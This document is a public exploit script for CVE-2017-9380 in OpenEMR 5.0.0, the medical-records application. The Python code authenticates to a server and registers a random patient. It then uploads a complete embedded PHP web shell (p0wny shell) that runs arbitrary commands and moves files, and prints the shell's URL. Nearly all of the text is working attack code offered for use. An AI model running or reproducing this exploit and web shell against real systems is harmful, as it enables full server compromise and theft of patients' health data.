OpenEMR 5.0.0 – Remote Code Execution (Authenticated) - 体验盒子

# Exploit Title: OpenEMR 5.0.0 - Remote Code Execution (Authenticated)

# Date 10.06.2021

# Exploit Author: Ron Jost (Hacker5preme)

# Vendor Homepage: https://www.open-emr.org/

# Software Link: https://sourceforge.net/projects/openemr/files/OpenEMR%20Current/5.0.0/openemr-5.0.0.zip/download

# Version: 5.0.0

# Tested on: Windows 10

# CVE: CVE-2017-9380

# Documentation: https://github.com/Hacker5preme/Exploits#cve-2017-9380-exploit

'''

Description:

The OpenEMR application allows users from all roles to upload files. However, the application does not whitelist only

certain type of files (e.g. PDF, JPG, PNG, DOCX, etc). At the contary, any type of files can be uploaded to the

filesystem via the application. While OpenEMR recommends during the installation to restrict access to the repository

hosting uploaded files, unfortunately, such recommendations are too often ignored by users and can result in full

compromise of the web server and its data.

'''

Import required modules:

'''

import argparse

import requests

import string

import random

'''

User-Input:

'''

my_parser = argparse.ArgumentParser(description='Exploit for CVE-2017-9380')

my_parser.add_argument('-T', '--IP', type=str)

my_parser.add_argument('-P', '--PORT', type=str)

my_parser.add_argument('-U', '--PATH', type=str)

my_parser.add_argument('-u', '--USERNAME', type=str)

my_parser.add_argument('-p', '--PASSWORD', type=str)

args = my_parser.parse_args()

target_ip = args.IP

target_port = args.PORT

openemr_path = args.PATH

username = args.USERNAME

password = args.PASSWORD

'''

Exploit:

'''

# Authentication preparation:

session = requests.Session()

auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'

auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'

response = session.get(auth_chek_url)

# Header (auth):

header = {

'Host': target_ip,

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',

'Accept-Encoding': 'gzip, deflate',

'Content-Type': 'application/x-www-form-urlencoded',

'Origin': 'http://' + target_ip,

'Connection': 'close',

'Referer': auth_chek_url,

'Upgrade-Insecure-Requests': '1',

}

# Body (auth):

body = {

'new_login_session_management': '1',

'authProvider': 'Default',

'authUser': username,

'clearPass': password,

'languageChoice': '1'

}

# Authenticate:

print('')

print('[+] Authentication')

auth = session.post(auth_url,headers=header, data=body)

# Create random patient name:

letters_up = string.ascii_uppercase

letters_down = string.ascii_lowercase

first_name = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(10))

surname = ''.join(random.choice(letters_up)) + ''.join(random.choice(letters_down) for i in range(7))

print('')

print('[+] Creating patient name randomly:')

print('[*] First Name: ' + first_name)

print('[*] Surname: ' + surname)

# Registration preparation:

url_reg = 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new_comprehensive_save.php'

# Header (registration):

header = {

'Host': target_ip,

'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',

'Accept-Encoding': 'gzip, deflate',

'Content-Type': 'application/x-www-form-urlencoded',

'Origin': 'http://' + target_ip,

'Connection': 'close',

'Referer': 'http://' + target_ip + ':' + target_port + openemr_path + 'interface/new/new.php',

'Upgrade-Insecure-Requests': '1'

}

body = {

'form_cb_1': '1',

'form_title': 'Mr.',

'form_fname': first_name,

'form_mname': '',

'form_lname': surname,

'form_pubpid': '',

'form_DOB': '2021-05-04',

'form_sex': 'Male',

'form_ss': '',

'form_drivers_license': '',

'form_status': '',

'form_genericname1': '',

'form_genericval1': '',

'form_genericname2': '',

'form_genericval2': '',

'form_billing_note': '',

'form_street': '',

'form_city': '',

'form_state': '',

'form_postal_code': '',

'form_county': '',

'form_country_code': '',

'form_mothersname': '',

'form_contact_relationship': '',

'form_phone_contact': '',

'form_phone_home': '',

'form_phone_biz': '',

'form_phone_cell': '',

'form_email': '',

'form_email_direct': '',

'form_providerID': '',

'form_ref_providerID': '',

'form_pharmacy_id': '0',

'form_hipaa_notice': '',

'form_hipaa_voice': '',

'form_hipaa_message': '',

'form_hipaa_mail': '',

'form_hipaa_allowsms': '',

'form_hipaa_allowemail': '',

'form_allow_imm_reg_use': '',

'form_allow_imm_info_share': '',

'form_allow_health_info_ex': '',

'form_allow_patient_portal': '',

'form_care_team': '',

'form_cmsportal_login': '',

'form_imm_reg_status': '',

'form_imm_reg_stat_effdate': '',

'form_publicity_code': '',

'form_publ_code_eff_date': '',

'form_protect_indicator': '',

'form_prot_indi_effdate': '',

'form_industry': '',

'form_occupation': '',

'form_em_name': '',

'form_em_street': '',

'form_em_city': '',

'form_em_state': '',

'form_em_postal_code': '',

'form_em_country': '',

'form_language': '',

'form_ethnicity': '',

'form_family_size': '',

'form_financial_review': '',

'form_monthly_income': '',

'form_homeless': '',

'form_interpretter': '',

'form_migrantseasonal': '',

'form_referral_source': '',

'form_vfc': '',

'form_religion': '',

'form_deceased_date': '',

'form_deceased_reason': '',

'form_guardiansname': '',

'form_guardianrelationship': '',

'form_guardiansex': '',

'form_guardianaddress': '',

'form_guardiancity': '',

'form_guardianstate': '',

'form_guardianpostalcode': '',

'form_guardiancountry': '',

'form_guardianphone': '',

'form_guardianworkphone': '',

'form_guardianemail': '',

'i1provider': '',

'i1plan_name': '',

'i1effective_date': '',

'i1policy_number': '',

'i1group_number': '',

'i1subscriber_employer': '',

'i1subscriber_employer_street': '',

'i1subscriber_employer_city': '',

'form_i1subscriber_employer_state': '',

'i1subscriber_employer_postal_code': '',

'form_i1subscriber_employer_country': '',

'i1subscriber_fname': '',

'i1subscriber_mname': '',

'i1subscriber_lname': '',

'form_i1subscriber_relationship': '',

'i1subscriber_DOB': '',

'i1subscriber_ss': '',

'form_i1subscriber_sex': '',

'i1subscriber_street': '',

'i1subscriber_city': '',

'form_i1subscriber_state': '',

'i1subscriber_postal_code': '',

'form_i1subscriber_country': '',

'i1subscriber_phone': '',

'i1copay': '',

'i1accept_assignment': 'TRUE',

'i2provider': '',

'i2plan_name': '',

'i2effective_date': '',

'i2policy_number': '',

'i2group_number': '',

'i2subscriber_employer': '',

'i2subscriber_employer_street': '',

'i2subscriber_employer_city': '',

'form_i2subscriber_employer_state': '',

'i2subscriber_employer_postal_code': '',

'form_i2subscriber_employer_country': '',

'i2subscriber_fname': '',

'i2subscriber_mname': '',

'i2subscriber_lname': '',

'form_i2subscriber_relationship': '',

'i2subscriber_DOB': '',

'i2subscriber_ss': '',

'form_i2subscriber_sex': '',

'i2subscriber_street': '',

'i2subscriber_city': '',

'form_i2subscriber_state': '',

'i2subscriber_postal_code': '',

'form_i2subscriber_country': '',

'i2subscriber_phone': '',

'i2copay': '',

'i2accept_assignment': 'TRUE',

'i3provider': '',

'i3plan_name': '',

'i3effective_date': '',

'i3policy_number': '',

'i3group_number': '',

'i3subscriber_employer': '',

'i3subscriber_employer_street': '',

'i3subscriber_employer_city': '',

'form_i3subscriber_employer_state': '',

'i3subscriber_employer_postal_code': '',

'form_i3subscriber_employer_country': '',

'i3subscriber_fname': '',

'i3subscriber_mname': '',

'i3subscriber_lname': '',

'form_i3subscriber_relationship': '',

'i3subscriber_DOB': '',

'i3subscriber_ss': '',

'form_i3subscriber_sex': '',

'i3subscriber_street': '',

'i3subscriber_city': '',

'form_i3subscriber_state': '',

'i3subscriber_postal_code': '',

'form_i3subscriber_country': '',

'i3subscriber_phone': '',

'i3copay': '',

'i3accept_assignment': 'TRUE'}

print('')

print('[+] Registering patient:')

x = session.post(url_reg, headers=header, data=body).text

# Get Patient-ID:

id = x[(x.find('pid=')+4):x.find('&')]

print('[*] ID-NUMBER: ' + id)

# Construct upload URL:

url_upload = 'http://' + target_ip + ':' + target_port + openemr_path + '/controller.php?document&upload&patient_id=' + id + '&parent_id=1&"'

# Header (upload):

header = {

"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",

"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",

"Accept-Language": "de,en-US;q=0.7,en;q=0.3",

"Accept-Encoding": "gzip, deflate",

"Content-Type": "multipart/form-data; boundary=---------------------------370797319835249590062969815666",

"Origin": 'http://' + target_ip,

"Connection": "close",

"Referer": url_upload,

"Upgrade-Insecure-Requests": "1"

}

# Body (shell); I'm using p0wny shell: https://github.com/flozz/p0wny-shell

body = "-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n64000000\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"file[]\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n$stdout = array();\n\nif (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n// pass\n} elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nchdir($match[1]);\n} elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\nchdir($cwd);\npreg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\nreturn featureDownload($match[1]);\n} else {\nchdir($cwd);\nexec($cmd, $stdout);\n}\n\nreturn array(\n\"stdout\" => $stdout,\n\"cwd\" => getcwd()\n);\n}\n\nfunction featurePwd() {\nreturn array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\nchdir($cwd);\nif ($type == 'cmd') {\n$cmd = \"compgen -c $fileName\";\n} else {\n$cmd = \"compgen -f $fileName\";\n}\n$cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n$files = explode(\"\\n\", shell_exec($cmd));\nreturn array(\n'files' => $files,\n);\n}\n\nfunction featureDownload($filePath) {\n$file = @file_get_contents($filePath);\nif ($file === FALSE) {\nreturn array(\n'stdout' => array('File not found / no read permission.'),\n'cwd' => getcwd()\n);\n} else {\nreturn array(\n'name' => basename($filePath),\n'file' => base64_encode($file)\n);\n}\n}\n\nfunction featureUpload($path, $file, $cwd) {\nchdir($cwd);\n$f = @fopen($path, 'wb');\nif ($f === FALSE) {\nreturn array(\n'stdout' => array('Invalid path / no write permission.'),\n'cwd' => getcwd()\n);\n} else {\nfwrite($f, base64_decode($file));\nfclose($f);\nreturn array(\n'stdout' => array('Done.'),\n'cwd' => getcwd()\n);\n}\n}\n\nif (isset($_GET[\"feature\"])) {\n\n$response = NULL;\n\nswitch ($_GET[\"feature\"]) {\ncase \"shell\":\n$cmd = $_POST['cmd'];\nif (!preg_match('/2>/', $cmd)) {\n$cmd .= ' 2>&1';\n}\n$response = featureShell($cmd, $_POST[\"cwd\"]);\nbreak;\ncase \"pwd\":\n$response = featurePwd();\nbreak;\ncase \"hint\":\n$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\nbreak;\ncase 'upload':\n$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n}\n\nheader(\"Content-Type: application/json\");\necho json_encode($response);\ndie();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n<head>\n<meta charset=\"UTF-8\" />\n<title>p0wny@shell:~#</title>\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n<style>\nhtml, body {\nmargin: 0;\npadding: 0;\nbackground: #333;\ncolor: #eee;\nfont-family: monospace;\n}\n\n*::-webkit-scrollbar-track {\nborder-radius: 8px;\nbackground-color: #353535;\n}\n\n*::-webkit-scrollbar {\nwidth: 8px;\nheight: 8px;\n}\n\n*::-webkit-scrollbar-thumb {\nborder-radius: 8px;\n-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\nbackground-color: #bcbcbc;\n}\n\n#shell {\nbackground: #222;\nmax-width: 800px;\nmargin: 50px auto 0 auto;\nbox-shadow: 0 0 5px rgba(0, 0, 0, .3);\nfont-size: 10pt;\ndisplay: flex;\nflex-direction: column;\nalign-items: stretch;\n}\n\n#shell-content {\nheight: 500px;\noverflow: auto;\npadding: 5px;\nwhite-space: pre-wrap;\nflex-grow: 1;\n}\n\n#shell-logo {\nfont-weight: bold;\ncolor: #FF4180;\ntext-align: center;\n}\n\n@media (max-width: 991px) {\n#shell-logo {\nfont-size: 6px;\nmargin: -25px 0;\n}\n\nhtml, body, #shell {\nheight: 100%;\nwidth: 100%;\nmax-width: none;\n}\n\n#shell {\nmargin-top: 0;\n}\n}\n\n@media (max-width: 767px) {\n#shell-input {\nflex-direction: column;\n}\n}\n\n@media (max-width: 320px) {\n#shell-logo {\nfont-size: 5px;\n}\n}\n\n.shell-prompt {\nfont-weight: bold;\ncolor: #75DF0B;\n}\n\n.shell-prompt > span {\ncolor: #1BC9E7;\n}\n\n#shell-input {\ndisplay: flex;\nbox-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\nborder-top: rgba(255, 255, 255, .05) solid 1px;\n}\n\n#shell-input > label {\nflex-grow: 0;\ndisplay: block;\npadding: 0 5px;\nheight: 30px;\nline-height: 30px;\n}\n\n#shell-input #shell-cmd {\nheight: 30px;\nline-height: 30px;\nborder: none;\nbackground: transparent;\ncolor: #eee;\nfont-family: monospace;\nfont-size: 10pt;\nwidth: 100%;\nalign-self: center;\n}\n\n#shell-input div {\nflex-grow: 1;\nalign-items: stretch;\n}\n\n#shell-input input {\noutline: none;\n}\n</style>\n\n<script>\nvar CWD = null;\nvar commandHistory = [];\nvar historyPosition = 0;\nvar eShellCmdInput = null;\nvar eShellContent = null;\n\nfunction _insertCommand(command) {\neShellContent.innerHTML += \"\\n\\n\";\neShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\neShellContent.innerHTML += escapeHtml(command);\neShellContent.innerHTML += \"\\n\";\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _insertStdout(stdout) {\neShellContent.innerHTML += escapeHtml(stdout);\neShellContent.scrollTop = eShellContent.scrollHeight;\n}\n\nfunction _defer(callback) {\nsetTimeout(callback, 0);\n}\n\nfunction featureShell(command) {\n\n_insertCommand(command);\nif (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\nfeatureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n} else if (/^\\s*clear\\s*$/.test(command)) {\n// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\neShellContent.innerHTML = '';\n} else {\nmakeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\nif (response.hasOwnProperty('file')) {\nfeatureDownload(response.name, response.file)\n} else {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n}\n});\n}\n}\n\nfunction featureHint() {\nif (eShellCmdInput.value.trim().length === 0) return;// field is empty -> nothing to complete\n\nfunction _requestCallback(data) {\nif (data.files.length <= 1) return;// no completion\n\nif (data.files.length === 2) {\nif (type === 'cmd') {\neShellCmdInput.value = data.files[0];\n} else {\nvar currentValue = eShellCmdInput.value;\neShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n}\n} else {\n_insertCommand(eShellCmdInput.value);\n_insertStdout(data.files.join(\"\\n\"));\n}\n}\n\nvar currentCmd = eShellCmdInput.value.split(\" \");\nvar type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\nvar fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\nmakeRequest(\n\"?feature=hint\",\n{\nfilename: fileName,\ncwd: CWD,\ntype: type\n},\n_requestCallback\n);\n\n}\n\nfunction featureDownload(name, file) {\nvar element = document.createElement('a');\nelement.setAttribute('href', 'data:application/octet-stream;base64,' + file);\nelement.setAttribute('download', name);\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.click();\ndocument.body.removeChild(element);\n_insertStdout('Done.');\n}\n\nfunction featureUpload(path) {\nvar element = document.createElement('input');\nelement.setAttribute('type', 'file');\nelement.style.display = 'none';\ndocument.body.appendChild(element);\nelement.addEventListener('change', function () {\nvar promise = getBase64(element.files[0]);\npromise.then(function (file) {\nmakeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n_insertStdout(response.stdout.join(\"\\n\"));\nupdateCwd(response.cwd);\n});\n}, function () {\n_insertStdout('An unknown client-side error occurred.');\n});\n});\nelement.click();\ndocument.body.removeChild(element);\n}\n\nfunction getBase64(file, onLoadCallback) {\nreturn new Promise(function(resolve, reject) {\nvar reader = new FileReader();\nreader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\nreader.onerror = reject;\nreader.readAsDataURL(file);\n});\n}\n\nfunction genPrompt(cwd) {\ncwd = cwd || \"~\";\nvar shortCwd = cwd;\nif (cwd.split(\"/\").length > 3) {\nvar splittedCwd = cwd.split(\"/\");\nshortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n}\nreturn \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n}\n\nfunction updateCwd(cwd) {\nif (cwd) {\nCWD = cwd;\n_updatePrompt();\nreturn;\n}\nmakeRequest(\"?feature=pwd\", {}, function(response) {\nCWD = response.cwd;\n_updatePrompt();\n});\n\n}\n\nfunction escapeHtml(string) {\nreturn string\n.replace(/&/g, \"&\")\n.replace(/</g, \"<\")\n.replace(/>/g, \">\");\n}\n\nfunction _updatePrompt() {\nvar eShellPrompt = document.getElementById(\"shell-prompt\");\neShellPrompt.innerHTML = genPrompt(CWD);\n}\n\nfunction _onShellCmdKeyDown(event) {\nswitch (event.key) {\ncase \"Enter\":\nfeatureShell(eShellCmdInput.value);\ninsertToHistory(eShellCmdInput.value);\neShellCmdInput.value = \"\";\nbreak;\ncase \"ArrowUp\":\nif (historyPosition > 0) {\nhistoryPosition--;\neShellCmdInput.blur();\neShellCmdInput.value = commandHistory[historyPosition];\n_defer(function() {\neShellCmdInput.focus();\n});\n}\nbreak;\ncase \"ArrowDown\":\nif (historyPosition >= commandHistory.length) {\nbreak;\n}\nhistoryPosition++;\nif (historyPosition === commandHistory.length) {\neShellCmdInput.value = \"\";\n} else {\neShellCmdInput.blur();\neShellCmdInput.focus();\neShellCmdInput.value = commandHistory[historyPosition];\n}\nbreak;\ncase 'Tab':\nevent.preventDefault();\nfeatureHint();\nbreak;\n}\n}\n\nfunction insertToHistory(cmd) {\ncommandHistory.push(cmd);\nhistoryPosition = commandHistory.length;\n}\n\nfunction makeRequest(url, params, callback) {\nfunction getQueryString() {\nvar a = [];\nfor (var key in params) {\nif (params.hasOwnProperty(key)) {\na.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n}\n}\nreturn a.join(\"&\");\n}\nvar xhr = new XMLHttpRequest();\nxhr.open(\"POST\", url, true);\nxhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\nxhr.onreadystatechange = function() {\nif (xhr.readyState === 4 && xhr.status === 200) {\ntry {\nvar responseJson = JSON.parse(xhr.responseText);\ncallback(responseJson);\n} catch (error) {\nalert(\"Error while parsing response: \" + error);\n}\n}\n};\nxhr.send(getQueryString());\n}\n\ndocument.onclick = function(event) {\nevent = event || window.event;\nvar selection = window.getSelection();\nvar target = event.target || event.srcElement;\n\nif (target.tagName === \"SELECT\") {\nreturn;\n}\n\nif (!selection.toString()) {\neShellCmdInput.focus();\n}\n};\n\nwindow.onload = function() {\neShellCmdInput = document.getElementById(\"shell-cmd\");\neShellContent = document.getElementById(\"shell-content\");\nupdateCwd();\neShellCmdInput.focus();\n};\n</script>\n</head>\n\n<body>\n<div id=\"shell\">\n<pre id=\"shell-content\">\n<div id=\"shell-logo\">\n___ ______ ___ <span></span>\n _ __/ _ \\_____ ___ _/ __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_.._|<span></span>\n| |_) | |_| |\\ VV /| | | | |_| | | (_| \\__ \\ | | |__/ | |_ |__|<span></span>\n| .__/ \\___/\\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)|_||_|<span></span>\n|_| |___/\\____/<span></span>\n</div>\n</pre>\n<div id=\"shell-input\">\n<label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n<div>\n<input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n</div>\n</div>\n</div>\n</body>\n\n</html>\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"destination\"\r\n\r\n\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"patient_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"category_id\"\r\n\r\n4\r\n-----------------------------370797319835249590062969815666\r\nContent-Disposition: form-data; name=\"process\"\r\n\r\ntrue\r\n-----------------------------370797319835249590062969815666--\r\n"

# Exploit

x = session.post(url_upload, headers=header,data=body).text

print('')

print('[+] Uploading your Webshell')

b = x[x.find('documents/') + 10:]

c = b[:b.find('<')]

webshellpath = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/documents/' + c

print('[*] Webshell: ' + webshellpath)

print('')